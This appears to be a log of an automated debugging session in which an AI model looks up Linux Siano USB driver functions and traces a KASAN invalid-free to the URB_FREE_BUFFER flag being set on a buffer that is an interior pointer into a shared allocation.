 404:		memset(&params, 0, sizeof(params));
 405:		usb_set_intfdata(intf, dev);
 406:		dev->udev = interface_to_usbdev(intf);
 407:		dev->state = SMSUSB_DISCONNECTED;
 408:	
 409:		for (i = 0; i < intf->cur_altsetting->desc.bNumEndpoints; i++) {
 410:			struct usb_endpoint_descriptor *desc =
 411:					&intf->cur_altsetting->endpoint[i].desc;
 412:	
 413:			if (desc->bEndpointAddress & USB_DIR_IN) {
 414:				dev->in_ep = desc->bEndpointAddress;
 415:				align = usb_endpoint_maxp(desc) - sizeof(struct sms_msg_hdr);
 416:			} else {
 417:				dev->out_ep = desc->bEndpointAddress;
 418:			}
 419:		}
 420:	
 421:		pr_debug("in_ep = %02x, out_ep = %02x\n", dev->in_ep, dev->out_ep);
 422:		if (!dev->in_ep || !dev->out_ep || align < 0) {  /* Missing endpoints? */
 423:			smsusb_term_device(intf);
 424:			return -ENODEV;
 425:		}
 426:	
 427:		params.device_type = sms_get_board(board_id)->type;
 428:	
 429:		switch (params.device_type) {
 430:		case SMS_STELLAR:
 431:			dev->buffer_size = USB1_BUFFER_SIZE;
 432:	
 433:			params.setmode_handler = smsusb1_setmode;
 434:			params.detectmode_handler = smsusb1_detectmode;
 435:			break;
 436:		case SMS_UNKNOWN_TYPE:
 437:			pr_err("Unspecified sms device type!\n");
 438:			fallthrough;
 439:		default:
 440:			dev->buffer_size = USB2_BUFFER_SIZE;
 441:			dev->response_alignment = align;
 442:	
 443:			params.flags |= SMS_DEVICE_FAMILY2;
 444:			break;
 445:		}
 446:	
 447:		params.device = &dev->udev->dev;
 448:		params.usb_device = dev->udev;
 449:		params.buffer_size = dev->buffer_size;
 450:		params.num_buffers = MAX_BUFFERS;
 451:		params.sendrequest_handler = smsusb_sendrequest;
 452:		params.context = dev;
 453:		usb_make_path(dev->udev, params.devpath, sizeof(params.devpath));
 454:	
 455:		mdev = siano_media_device_register(dev, board_id);
 456:	
 457:		/* register in smscore */
 458:		rc = smscore_register_device(&params, &dev->coredev, 0, mdev);
 459:		if (rc < 0) {
 460:			pr_err("smscore_register_device(...) failed, rc %d\n", rc);
 461:			goto err_unregister_device;
 462:		}
 463:	
 464:		smscore_set_board_id(dev->coredev, board_id);
 465:	
 466:		dev->coredev->is_usb_device = true;
 467:	
 468:		/* initialize urbs */
 469:		for (i = 0; i < MAX_URBS; i++) {
 470:			dev->surbs[i].dev = dev;
 471:			dev->surbs[i].urb = usb_alloc_urb(0, GFP_KERNEL);
 472:			if (!dev->surbs[i].urb)
 473:				goto err_unregister_device;
 474:		}
 475:	
 476:		pr_debug("smsusb_start_streaming(...).\n");
 477:		rc = smsusb_start_streaming(dev);
 478:		if (rc < 0) {
 479:			pr_err("smsusb_start_streaming(...) failed\n");
 480:			goto err_unregister_device;
 481:		}
 482:	
 483:		dev->state = SMSUSB_ACTIVE;
 484:	
 485:		rc = smscore_start_device(dev->coredev);
 486:		if (rc < 0) {
 487:			pr_err("smscore_start_device(...) failed\n");
 488:			goto err_unregister_device;
 489:		}
 490:	
 491:		pr_debug("device 0x%p created\n", dev);
 492:	
 493:		return rc;
 494:	
 495:	err_unregister_device:
 496:		/* smsusb_term_device() frees any allocated urb. */
 497:		smsusb_term_device(intf);
 498:	#ifdef CONFIG_MEDIA_CONTROLLER_DVB
 499:		media_device_unregister(mdev);
 500:	#endif
 501:		kfree(mdev);
 502:		return rc;
 503:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

220/4 2026/09/04 10:38 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 20830
							output: 24
							thoughts: 38
						

Thoughts:
**My Thought Process Regarding `smsusb_term_device` and `smscore_unregister_device`**

As an expert in this domain, my immediate reaction upon seeing the call from `smsusb_term_device` to `smscore_unregister_device(dev->coredev)` is to meticulously examine the behavior of `smscore_unregister_device`. I understand that proper device unregistration is crucial for system stability and resource management. Therefore, my focus would be on dissecting precisely what `smscore_unregister_device` does with the provided `dev->coredev` pointer. I'd be looking for the deallocation of any resources associated with that core device, the removal of its registration from any relevant data structures or kernel subsystems, and the assurance that no outstanding references or operations are left dangling, which could lead to memory leaks or race conditions. My goal is to confirm that this unregistration process is robust and complete, ensuring a clean exit for the device in question.


221/4 2026/09/04 10:38 tool codesearch-definition-source
0m Args:
map[Name:smscore_unregister_device]

Results:
map[SourceCode:1177:	/*
1178:	 * notifies all clients registered with the device, notifies hotplugs,
1179:	 * frees all buffers and coredev object
1180:	 *
1181:	 * @param coredev pointer to a coredev object returned by
1182:	 *                smscore_register_device
1183:	 *
1184:	 * return: 0 on success, <0 on error.
1185:	 */
1186:	void smscore_unregister_device(struct smscore_device_t *coredev)
1187:	{
1188:		struct smscore_buffer_t *cb;
1189:		int num_buffers = 0;
1190:		int retry = 0;
1191:	
1192:		mutex_lock(&g_smscore_deviceslock);
1193:	
1194:		/* Release input device (IR) resources */
1195:		sms_ir_exit(coredev);
1196:	
1197:		smscore_notify_clients(coredev);
1198:		smscore_notify_callbacks(coredev, NULL, 0);
1199:	
1200:		/* at this point all buffers should be back
1201:		 * onresponse must no longer be called */
1202:	
1203:		while (1) {
1204:			while (!list_empty(&coredev->buffers)) {
1205:				cb = (struct smscore_buffer_t *) coredev->buffers.next;
1206:				list_del(&cb->entry);
1207:				kfree(cb);
1208:				num_buffers++;
1209:			}
1210:			if (num_buffers == coredev->num_buffers)
1211:				break;
1212:			if (++retry > 10) {
1213:				pr_info("exiting although not all buffers released.\n");
1214:				break;
1215:			}
1216:	
1217:			pr_debug("waiting for %d buffer(s)\n",
1218:				 coredev->num_buffers - num_buffers);
1219:			mutex_unlock(&g_smscore_deviceslock);
1220:			msleep(100);
1221:			mutex_lock(&g_smscore_deviceslock);
1222:		}
1223:	
1224:		pr_debug("freed %d buffers\n", num_buffers);
1225:	
1226:		if (coredev->common_buffer) {
1227:			if (coredev->usb_device)
1228:				kfree(coredev->common_buffer);
1229:			else
1230:				dma_free_coherent(coredev->device,
1231:						  coredev->common_buffer_size,
1232:						  coredev->common_buffer,
1233:						  coredev->common_buffer_phys);
1234:		}
1235:		kfree(coredev->fw_buf);
1236:	
1237:		list_del(&coredev->entry);
1238:		kfree(coredev);
1239:	
1240:		mutex_unlock(&g_smscore_deviceslock);
1241:	
1242:		pr_debug("device %p destroyed\n", coredev);
1243:	}
 SourceFile:drivers/media/common/siano/smscoreapi.c]

222/4 2026/09/04 10:38 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 21849
							output: 24
							thoughts: 419
						

Thoughts:
**Analyzing the Potential URB Freeing Issue in `smsusb_term_device`**

My initial concern was about a potential double-free issue within `smsusb_term_device`. I noticed that it calls `smscore_unregister_device(dev->coredev)` before iterating to free the URBs stored in `dev->surbs[i].urb`. My first thought was that `smscore_unregister_device` might also be freeing these URBs. However, upon closer inspection, `smscore_unregister_device` appears to only free `coredev`, `coredev->common_buffer`, `coredev->fw_buf`, and `cb` buffers – not the individual URBs themselves. This relieved that specific worry.

Then, I turned my attention to the initialization phase, specifically `smsusb_init_device`. I saw that it allocates URBs within a loop, and if `usb_alloc_urb` fails at any point during this loop, the function jumps to `err_unregister_device`. This means `smsusb_term_device` will be called. My concern then shifted: if an allocation fails early in the loop (say, for `i = 0`), will the subsequent loop in `smsusb_term_device` attempting to free URBs (from `i = 0` to `MAX_URBS - 1`) encounter any problems?

I recalled that `usb_free_urb` is designed to handle NULL pointers gracefully, so freeing a NULL URB isn't an issue. However, what about URBs that were never successfully allocated? My reasoning led me to consider the initial state of the `dev` structure. Since `dev` is allocated using `kzalloc_obj`, all its members, including `dev->surbs[i].urb`, are initialized to NULL by default. This is crucial because if `usb_alloc_urb` fails before the `dev->surbs[i].urb` pointer is ever set, it will remain NULL. Consequently, the loop in `smsusb_term_device` will attempt to free a NULL pointer, which, as I noted, `usb_free_urb` handles without error.

Finally, I broadened my scope to other error paths that could lead to `smsusb_term_device` being called. I specifically looked at `smsusb_start_streaming(dev)`. If this function fails, it also branches to `err_unregister_device`, which in turn calls `smsusb_term_device`. This reinforced my confidence that the observed behavior, where `smsusb_term_device` might iterate through URBs that were never successfully allocated, is safe due to the robust nature of `usb_free_urb` and the initialization guarantees of `kzalloc_obj`. My thought process concluded that the URB freeing logic appears sound, even in these error scenarios.


223/4 2026/09/04 10:38 tool codesearch-definition-source
0m Args:
map[Name:smsusb_start_streaming]

Results:
map[SourceCode: 192:	static int smsusb_start_streaming(struct smsusb_device_t *dev)
 193:	{
 194:		int i, rc;
 195:	
 196:		for (i = 0; i < MAX_URBS; i++) {
 197:			rc = smsusb_submit_urb(dev, &dev->surbs[i]);
 198:			if (rc < 0) {
 199:				pr_err("smsusb_submit_urb(...) failed\n");
 200:				smsusb_stop_streaming(dev);
 201:				break;
 202:			}
 203:		}
 204:	
 205:		return rc;
 206:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

224/4 2026/09/04 10:38 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 22518
							output: 24
							thoughts: 9
						

Thoughts:
**My Internal Monologue on `smsusb_submit_urb`**

Ah, `smsusb_submit_urb`. This is where things get interesting, isn't it? I'm currently diving into the nitty-gritty of how this particular USB submission routine operates, and it's proving to be a complex but ultimately revealing piece of the puzzle. My immediate thought upon seeing this function signature is one of focused intent: `smsusb_submit_urb` clearly signifies the *submission* of a USB Request Block (URB) by the `smsusb` driver.

I'm already anticipating a deep dive into the lifecycle of a URB within this context. My mind immediately goes to the preceding steps: the construction of this URB, its population with the necessary data and descriptors, and the context from which it's being initiated. Is it part of a larger data transfer, a control request, or perhaps a command to the underlying USB device? The name itself doesn't reveal the *why*, but it certainly defines the *what* – an act of sending a prepared request out onto the USB bus.

I'm also thinking about the parameters that likely accompany this function. There must be the URB itself, of course, but I'd expect to see a pointer to the device context, perhaps a handle to the endpoint it's destined for, and any flags or control bits that dictate the submission's behavior. Is this a synchronous or asynchronous submission? Will the driver block until the URB is processed, or will it be handed off to the USB core for later completion? This function is the gateway, and its behavior will dictate how the driver interacts with the USB hardware at a granular level.

Furthermore, I'm considering the implications for resource management. Submitting a URB implies allocating memory for it, potentially transferring data to DMA buffers, and managing its state throughout the submission and completion phases. I'm already preparing to trace the memory allocation and deallocation paths, and to understand how the driver handles potential errors during this submission process. What happens if the USB core rejects the URB? What are the error codes I should be looking for?

Ultimately, my focus with `smsusb_submit_urb` is on understanding its role as a critical juncture. It's the point where the driver's logical operations are translated into concrete, hardware-level requests. My goal is to meticulously follow the flow from here, understanding how the URB is queued, how it interacts with the USB host controller, and what callbacks or completion handlers are invoked when its associated operation concludes. This function is a key control point, and mastering its intricacies is essential for a complete understanding of the `smsusb` driver's USB communication strategy.


225/4 2026/09/04 10:38 tool codesearch-definition-source
0m Args:
map[Name:smsusb_submit_urb]

Results:
map[SourceCode: 150:	static int smsusb_submit_urb(struct smsusb_device_t *dev,
 151:				     struct smsusb_urb_t *surb)
 152:	{
 153:		if (!surb->cb) {
 154:			/* This function can sleep */
 155:			surb->cb = smscore_getbuffer(dev->coredev);
 156:			if (!surb->cb) {
 157:				pr_err("smscore_getbuffer(...) returned NULL\n");
 158:				return -ENOMEM;
 159:			}
 160:		}
 161:	
 162:		usb_fill_bulk_urb(
 163:			surb->urb,
 164:			dev->udev,
 165:			usb_rcvbulkpipe(dev->udev, dev->in_ep),
 166:			surb->cb->p,
 167:			dev->buffer_size,
 168:			smsusb_onresponse,
 169:			surb
 170:		);
 171:		surb->urb->transfer_flags |= URB_FREE_BUFFER;
 172:	
 173:		return usb_submit_urb(surb->urb, GFP_ATOMIC);
 174:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

226/4 2026/09/04 10:38 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 22929
							output: 23
							thoughts: 459
						

Thoughts:
**My Thought Process Regarding URB and Buffer Management**

So, I've just encountered this line: `surb->urb->transfer_flags |= URB_FREE_BUFFER;`. My immediate thought is, "Okay, what does setting `URB_FREE_BUFFER` actually *do*?" I know that `usb_free_urb` will take care of freeing `urb->transfer_buffer` if this flag is set.

Then, I trace `usb_free_urb` and see that it calls `kref_put(&urb->kref, urb_destroy)`. Digging into `urb_destroy`, I find this crucial piece:

```c
static void urb_destroy(struct kref *kref)
{
	struct urb *urb = to_urb(kref);

	if (urb->transfer_flags & URB_FREE_BUFFER)
		kfree(urb->transfer_buffer); // Aha! This is where the buffer gets freed.

	kfree(urb); // And this frees the URB structure itself.
}
```

This confirms my initial suspicion: setting `URB_FREE_BUFFER` means the `transfer_buffer` associated with the URB will be freed when the URB is destroyed.

Now, I need to understand *where* this `transfer_buffer` comes from in the first place, and specifically how it's managed in the context of `smsusb_submit_urb`. I see that `surb->cb = smscore_getbuffer(dev->coredev);` is called, and it's `surb->cb->p` that's being passed as `transfer_buffer`.

The sequence then is: the buffer is obtained via `smscore_getbuffer`, the `URB_FREE_BUFFER` flag is set on the URB, and then `usb_submit_urb` is called. If `usb_submit_urb` fails, `smsusb_submit_urb` returns the error.

My attention then shifts to what happens *after* submission, particularly in error or cleanup paths. I notice that if there's an error, `smsusb_start_streaming` eventually calls `smsusb_stop_streaming(dev)`, which in turn leads to `smsusb_term_device`. Finally, `smsusb_term_device` calls `smscore_unregister_device(dev->coredev)`.

This is where things get interesting. `smscore_unregister_device` iterates through `coredev->buffers` and frees each `cb` buffer:

```c
		while (!list_empty(&coredev->buffers)) {
			cb = (struct smscore_buffer_t *) coredev->buffers.next;
			list_del(&cb->entry);
			kfree(cb); // This frees the smscore_buffer_t structure.
			num_buffers++;
		}
```

And this is where the critical question arises: the `cb` structure itself is being freed. But what about `cb->p`, which is being used as the `urb->transfer_buffer`? Is `cb->p` allocated separately and managed independently, or is it actually part of the `cb` structure, perhaps as an embedded member, or allocated immediately adjacent to `cb`?

I need to go back and meticulously examine the implementation of `smscore_getbuffer` and how `cb` is allocated to determine if freeing `cb` implicitly frees `cb->p`, or if `cb->p` is a distinct allocation that `urb_destroy` will also attempt to free using `kfree(urb->transfer_buffer)`, potentially leading to a double-free. This distinction is paramount for ensuring correct memory management and preventing heap corruption.


227/4 2026/09/04 10:38 tool codesearch-definition-source
0m Args:
map[Name:smscore_getbuffer]

Results:
map[SourceCode:1637:	struct smscore_buffer_t *smscore_getbuffer(struct smscore_device_t *coredev)
1638:	{
1639:		struct smscore_buffer_t *cb = NULL;
1640:	
1641:		wait_event(coredev->buffer_mng_waitq, (cb = get_entry(coredev)));
1642:	
1643:		return cb;
1644:	}
 SourceFile:drivers/media/common/siano/smscoreapi.c]

228/4 2026/09/04 10:38 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 23555
							output: 24
							thoughts: 19
						

Thoughts:
**My Thought Process Regarding Buffer Allocation in `smscore_register_device`**

Alright, my immediate inclination is to dive into the `smscore_register_device` function to understand precisely how buffer allocation is handled there. I need to get a clear picture of the mechanisms in place to see how memory is being procured for these devices. Is it dynamic allocation on demand? Pre-allocation at registration? Are there any specific strategies or limitations being employed? This is crucial for me to grasp the underlying resource management and potential performance implications.


229/4 2026/09/04 10:38 tool codesearch-definition-source
0m Args:
map[Name:smscore_register_device]

Results:
map[SourceCode: 632:	/*
 633:	 * creates coredev object for a device, prepares buffers,
 634:	 * creates buffer mappings, notifies registered hotplugs about new device.
 635:	 *
 636:	 * @param params device pointer to struct with device specific parameters
 637:	 *               and handlers
 638:	 * @param coredev pointer to a value that receives created coredev object
 639:	 *
 640:	 * return: 0 on success, <0 on error.
 641:	 */
 642:	int smscore_register_device(struct smsdevice_params_t *params,
 643:				    struct smscore_device_t **coredev,
 644:				    gfp_t gfp_buf_flags,
 645:				    void *mdev)
 646:	{
 647:		struct smscore_device_t *dev;
 648:		u8 *buffer;
 649:	
 650:		dev = kzalloc_obj(*dev);
 651:		if (!dev)
 652:			return -ENOMEM;
 653:	
 654:	#ifdef CONFIG_MEDIA_CONTROLLER_DVB
 655:		dev->media_dev = mdev;
 656:	#endif
 657:		dev->gfp_buf_flags = gfp_buf_flags;
 658:	
 659:		/* init list entry so it could be safe in smscore_unregister_device */
 660:		INIT_LIST_HEAD(&dev->entry);
 661:	
 662:		/* init queues */
 663:		INIT_LIST_HEAD(&dev->clients);
 664:		INIT_LIST_HEAD(&dev->buffers);
 665:	
 666:		/* init locks */
 667:		spin_lock_init(&dev->clientslock);
 668:		spin_lock_init(&dev->bufferslock);
 669:	
 670:		/* init completion events */
 671:		init_completion(&dev->version_ex_done);
 672:		init_completion(&dev->data_download_done);
 673:		init_completion(&dev->data_validity_done);
 674:		init_completion(&dev->trigger_done);
 675:		init_completion(&dev->init_device_done);
 676:		init_completion(&dev->reload_start_done);
 677:		init_completion(&dev->resume_done);
 678:		init_completion(&dev->gpio_configuration_done);
 679:		init_completion(&dev->gpio_set_level_done);
 680:		init_completion(&dev->gpio_get_level_done);
 681:		init_completion(&dev->ir_init_done);
 682:	
 683:		/* Buffer management */
 684:		init_waitqueue_head(&dev->buffer_mng_waitq);
 685:	
 686:		/* alloc common buffer */
 687:		dev->common_buffer_size = params->buffer_size * params->num_buffers;
 688:		if (params->usb_device)
 689:			buffer = kzalloc(dev->common_buffer_size, GFP_KERNEL);
 690:		else
 691:			buffer = dma_alloc_coherent(params->device,
 692:						    dev->common_buffer_size,
 693:						    &dev->common_buffer_phys,
 694:						    GFP_KERNEL | dev->gfp_buf_flags);
 695:		if (!buffer) {
 696:			smscore_unregister_device(dev);
 697:			return -ENOMEM;
 698:		}
 699:		dev->common_buffer = buffer;
 700:	
 701:		/* prepare dma buffers */
 702:		for (; dev->num_buffers < params->num_buffers;
 703:		     dev->num_buffers++, buffer += params->buffer_size) {
 704:			struct smscore_buffer_t *cb;
 705:	
 706:			cb = smscore_createbuffer(buffer, dev->common_buffer,
 707:						  dev->common_buffer_phys);
 708:			if (!cb) {
 709:				smscore_unregister_device(dev);
 710:				return -ENOMEM;
 711:			}
 712:	
 713:			smscore_putbuffer(dev, cb);
 714:		}
 715:	
 716:		pr_debug("allocated %d buffers\n", dev->num_buffers);
 717:	
 718:		dev->mode = DEVICE_MODE_NONE;
 719:		dev->board_id = SMS_BOARD_UNKNOWN;
 720:		dev->context = params->context;
 721:		dev->device = params->device;
 722:		dev->usb_device = params->usb_device;
 723:		dev->setmode_handler = params->setmode_handler;
 724:		dev->detectmode_handler = params->detectmode_handler;
 725:		dev->sendrequest_handler = params->sendrequest_handler;
 726:		dev->preload_handler = params->preload_handler;
 727:		dev->postload_handler = params->postload_handler;
 728:	
 729:		dev->device_flags = params->flags;
 730:		strscpy(dev->devpath, params->devpath, sizeof(dev->devpath));
 731:	
 732:		smscore_registry_settype(dev->devpath, params->device_type);
 733:	
 734:		/* add device to devices list */
 735:		mutex_lock(&g_smscore_deviceslock);
 736:		list_add(&dev->entry, &g_smscore_devices);
 737:		mutex_unlock(&g_smscore_deviceslock);
 738:	
 739:		*coredev = dev;
 740:	
 741:		pr_debug("device %p created\n", dev);
 742:	
 743:		return 0;
 744:	}
 SourceFile:drivers/media/common/siano/smscoreapi.c]

230/4 2026/09/04 10:38 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 25326
							output: 23
							thoughts: 134
						

Thoughts:
**My Thought Process Regarding Buffer Allocation**

Okay, I've just reviewed the code snippet related to buffer allocation, and my initial reaction is one of understanding how this memory is being managed. I see that `dev->common_buffer` is being allocated as one contiguous, sizable chunk of memory. The `dev->common_buffer_size` is calculated by multiplying the individual `params->buffer_size` by the `params->num_buffers`. This makes perfect sense; we're creating a single pool from which multiple buffers can be carved out. The `kzalloc` function is being used here, which is good practice as it initializes the allocated memory to zero, preventing any potential garbage data issues.

Following this, I observe that `smscore_createbuffer` is then invoked for each individual buffer that needs to be managed within this larger `common_buffer`. My next step, naturally, is to examine the implementation of `smscore_createbuffer` itself. I need to understand precisely how it takes a portion of this large allocated `buffer` (and its corresponding physical address `dev->common_buffer_phys`) and logically represents it as a distinct buffer object within the system. This will involve looking at how it maps offsets, manages boundaries, and potentially tracks the state of each individual buffer.


231/4 2026/09/04 10:38 tool codesearch-definition-source
0m Args:
map[Name:smscore_createbuffer]

Results:
map[SourceCode: 614:	static struct
 615:	smscore_buffer_t *smscore_createbuffer(u8 *buffer, void *common_buffer,
 616:					       dma_addr_t common_buffer_phys)
 617:	{
 618:		struct smscore_buffer_t *cb;
 619:	
 620:		cb = kzalloc_obj(*cb);
 621:		if (!cb)
 622:			return NULL;
 623:	
 624:		cb->p = buffer;
 625:		cb->offset_in_common = buffer - (u8 *) common_buffer;
 626:		if (common_buffer_phys)
 627:			cb->phys = common_buffer_phys + cb->offset_in_common;
 628:	
 629:		return cb;
 630:	}
 SourceFile:drivers/media/common/siano/smscoreapi.c]

232/4 2026/09/04 10:38 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 25743
							output: 23
							thoughts: 520
						

Thoughts:
**Internal Buffer Management and Potential Double Free Vulnerability**

My initial thought process upon examining the `smsusb_submit_urb` function revealed a significant concern regarding buffer management. I observed that `surb->cb->p`, which is an internal pointer into `dev->common_buffer`, is being used as the `transfer_buffer` for a USB URB. The critical point here is the subsequent setting of `URB_FREE_BUFFER` in the URB's `transfer_flags`.

This flag, as I understand it from the USB core's behavior, instructs `usb_free_urb` to deallocate the `transfer_buffer` when the URB is freed. The immediate red flag that sprung to mind is: `kfree` being called on `surb->cb->p` is fundamentally incorrect. `surb->cb->p` is not an independently allocated buffer; it's an *interior pointer* to the larger `dev->common_buffer`. Calling `kfree` on such a pointer is an invalid operation and a recipe for corruption.

My concern deepened when I traced the lifecycle of `dev->common_buffer`. I recalled that `smscore_unregister_device` is responsible for freeing `coredev->common_buffer` (which appears to be the same underlying buffer) if it exists and if `coredev->usb_device` is valid. This happens *before* `smsusb_term_device` is called.

The sequence of events then becomes quite alarming. `smsusb_term_device` will iterate through the URBs and call `usb_free_urb` on each. If `URB_FREE_BUFFER` was indeed set, this will trigger `kfree(urb->transfer_buffer)`, which is `surb->cb->p`.

The implication is clear: `smscore_unregister_device` attempts to free `common_buffer`, and then later, `usb_free_urb` will attempt to free an interior pointer into that already-freed memory. This constitutes a **double free** scenario, and critically, the second free attempt is on an **invalid interior pointer**.

I then began to question *why* `URB_FREE_BUFFER` was being set in the first place within `smsusb_submit_urb`. If the intention is for the USB core to manage the buffer's lifetime, it clashes directly with the fact that this buffer is managed by the `smscore` framework. The buffer shouldn't be considered independently allocatable and deallocatable by the USB core in this context. This suggests a fundamental misunderstanding or misconfiguration in how buffer ownership is being handled.

My immediate next step was to scrutinize the `smsusb_onresponse` callback function to understand if it had any interaction with buffer freeing or management that might further complicate or, perhaps, mitigate this perceived issue.


233/4 2026/09/04 10:39 tool codesearch-definition-source
0m Args:
map[Name:smsusb_onresponse]

Results:
map[SourceCode:  78:	/*
  79:	 * Completing URB's callback handler - top half (interrupt context)
  80:	 * adds completing sms urb to the global surbs list and activtes the worker
  81:	 * thread the surb
  82:	 * IMPORTANT - blocking functions must not be called from here !!!
  83:	
  84:	 * @param urb pointer to a completing urb object
  85:	 */
  86:	static void smsusb_onresponse(struct urb *urb)
  87:	{
  88:		struct smsusb_urb_t *surb = (struct smsusb_urb_t *) urb->context;
  89:		struct smsusb_device_t *dev = surb->dev;
  90:	
  91:		if (urb->status == -ESHUTDOWN) {
  92:			pr_err("error, urb status %d (-ESHUTDOWN), %d bytes\n",
  93:				urb->status, urb->actual_length);
  94:			return;
  95:		}
  96:	
  97:		if ((urb->actual_length > 0) && (urb->status == 0)) {
  98:			struct sms_msg_hdr *phdr = (struct sms_msg_hdr *)surb->cb->p;
  99:	
 100:			smsendian_handle_message_header(phdr);
 101:			if (urb->actual_length >= phdr->msg_length) {
 102:				surb->cb->size = phdr->msg_length;
 103:	
 104:				if (dev->response_alignment &&
 105:				    (phdr->msg_flags & MSG_HDR_FLAG_SPLIT_MSG)) {
 106:	
 107:					surb->cb->offset =
 108:						dev->response_alignment +
 109:						((phdr->msg_flags >> 8) & 3);
 110:	
 111:					/* sanity check */
 112:					if (((int) phdr->msg_length +
 113:					     surb->cb->offset) > urb->actual_length) {
 114:						pr_err("invalid response msglen %d offset %d size %d\n",
 115:							phdr->msg_length,
 116:							surb->cb->offset,
 117:							urb->actual_length);
 118:						goto exit_and_resubmit;
 119:					}
 120:	
 121:					/* move buffer pointer and
 122:					 * copy header to its new location */
 123:					memcpy((char *) phdr + surb->cb->offset,
 124:					       phdr, sizeof(struct sms_msg_hdr));
 125:				} else
 126:					surb->cb->offset = 0;
 127:	
 128:				pr_debug("received %s(%d) size: %d\n",
 129:					  smscore_translate_msg(phdr->msg_type),
 130:					  phdr->msg_type, phdr->msg_length);
 131:	
 132:				smsendian_handle_rx_message((struct sms_msg_data *) phdr);
 133:	
 134:				smscore_onresponse(dev->coredev, surb->cb);
 135:				surb->cb = NULL;
 136:			} else {
 137:				pr_err("invalid response msglen %d actual %d\n",
 138:					phdr->msg_length, urb->actual_length);
 139:			}
 140:		} else
 141:			pr_err("error, urb status %d, %d bytes\n",
 142:				urb->status, urb->actual_length);
 143:	
 144:	
 145:	exit_and_resubmit:
 146:		INIT_WORK(&surb->wq, do_submit_urb);
 147:		schedule_work(&surb->wq);
 148:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

234/4 2026/09/04 10:39 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 27391
							output: 23
							thoughts: 56
						

Thoughts:
**My Thought Process**

Alright, so I'm looking at the code, specifically the `smsusb_onresponse` function. My immediate observation, and the thing that's catching my attention, is that after it calls `smscore_onresponse`, it then proceeds to set `surb->cb` to `NULL`. That seems… potentially problematic, or at least something that warrants a closer look. Why would it clear the callback pointer right before resubmitting the URB?

This leads me directly to the next action: it calls `do_submit_urb` immediately after that callback clearing. This is where my investigation needs to focus. I need to understand what `do_submit_urb` does, and in particular, how it interacts with or is affected by the fact that `surb->cb` has just been set to `NULL`. My hypothesis is that there's a dependency or a flow of control that I need to fully grasp to understand the implications of that `NULL` assignment. I'm diving into `do_submit_urb` next to trace that execution path.


235/4 2026/09/04 10:39 tool codesearch-definition-source
0m Args:
map[Name:do_submit_urb]

Results:
map[SourceCode:  66:	/*
  67:	 * Completing URB's callback handler - bottom half (process context)
  68:	 * submits the URB prepared on smsusb_onresponse()
  69:	 */
  70:	static void do_submit_urb(struct work_struct *work)
  71:	{
  72:		struct smsusb_urb_t *surb = container_of(work, struct smsusb_urb_t, wq);
  73:		struct smsusb_device_t *dev = surb->dev;
  74:	
  75:		smsusb_submit_urb(dev, surb);
  76:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

236/4 2026/09/04 10:39 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 27659
							output: 24
							thoughts: 1409
						

Thoughts:
**The Core of My Realization: A Subtle URB Mismanagement**

So, I've been digging into this `smsusb_submit_urb` function, and a rather critical flaw has become apparent. My thought process started with observing that if `surb->cb` is NULL, the function goes ahead and allocates a new buffer using `smscore_getbuffer`. This itself is a standard pattern, ensuring we have a buffer to work with.

However, what really caught my attention was the subsequent re-setting of the `URB_FREE_BUFFER` flag. This immediately triggered a cascade of questions in my mind. I mean, if `URB_FREE_BUFFER` is set, when exactly is this buffer supposed to be freed by the USB core? My understanding is that the USB core frees the buffer associated with a URB when that URB is destroyed – specifically, when `urb_destroy` is invoked as a result of its reference count dropping to zero.

The problem, as I see it, is that `smsusb_submit_urb` is designed to reuse the same URB (`surb->urb`). It does this by calling `usb_fill_bulk_urb`, which, crucially, overwrites the `urb->transfer_buffer` field with the address of the *new* buffer (`surb->cb->p`). Now, if this URB is eventually freed (which it is, during device termination), the USB core will attempt to free whatever is currently pointed to by `urb->transfer_buffer`.

Here's where the real bug lies: `URB_FREE_BUFFER` tells the USB core to free `transfer_buffer` when the URB is destroyed. So, when `smsusb_term_device` calls `usb_free_urb(dev->surbs[i].urb)`, this decrements the URB's reference count. If it hits zero, `urb_destroy` is called, and `kfree(urb->transfer_buffer)` is executed. The critical issue is that `urb->transfer_buffer` at this point is `surb->cb->p`, which is an *interior pointer* into `dev->common_buffer`. This means `kfree` is being called on a pointer that isn't the actual start of an allocated object, leading directly to the invalid-free condition. This is precisely what the KASAN reports are indicating.

I then pondered why the original author would have even set `URB_FREE_BUFFER` in the first place. Perhaps there was a misunderstanding of its meaning, or it was copied from a context where it was appropriate. Regardless, it's clear that `URB_FREE_BUFFER` should *not* be set here. The buffer is managed by `smscore` and is intended to be freed later, either by being returned to a pool or during `smscore_unregister_device`.

My next concern was whether removing `URB_FREE_BUFFER` would introduce a memory leak. I quickly reviewed the `smscore_register_device` and `smscore_unregister_device` functions. I saw that `smscore_register_device` allocates `dev->common_buffer` (a contiguous block), and `smscore_unregister_device` correctly frees this `common_buffer` if it was allocated for USB devices. Furthermore, the individual `cb` structures themselves are iterated over and `kfree`d within `smscore_unregister_device`. This confirmed my suspicion: removing `URB_FREE_BUFFER` would *not* cause a memory leak.

The bug, therefore, is unequivocally the setting of `URB_FREE_BUFFER`, which causes `kfree` to be called on an interior pointer (`surb->cb->p`), leading to either a double-free (since `common_buffer` is also freed) or an attempt to free a pointer that `kfree` doesn't recognize as a valid slab object. The KASAN warning about `free_large_kmalloc` and the specific error message about an "invalid-free" directly correlate with this behavior. The fact that the buggy address often points to the beginning of a subsequent buffer or page strongly suggests that `params->buffer_size` is a key factor in why this specific invalid-free is being triggered.


237/4 2026/09/04 10:39 tool codesearch-definition-source
0m Error:
log-in to see details

Args:
map[Name:USB1_BUFFER_SIZE]

Results:
map[SourceCode: SourceFile:]

238/4 2026/09/04 10:39 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 29101
							output: 24
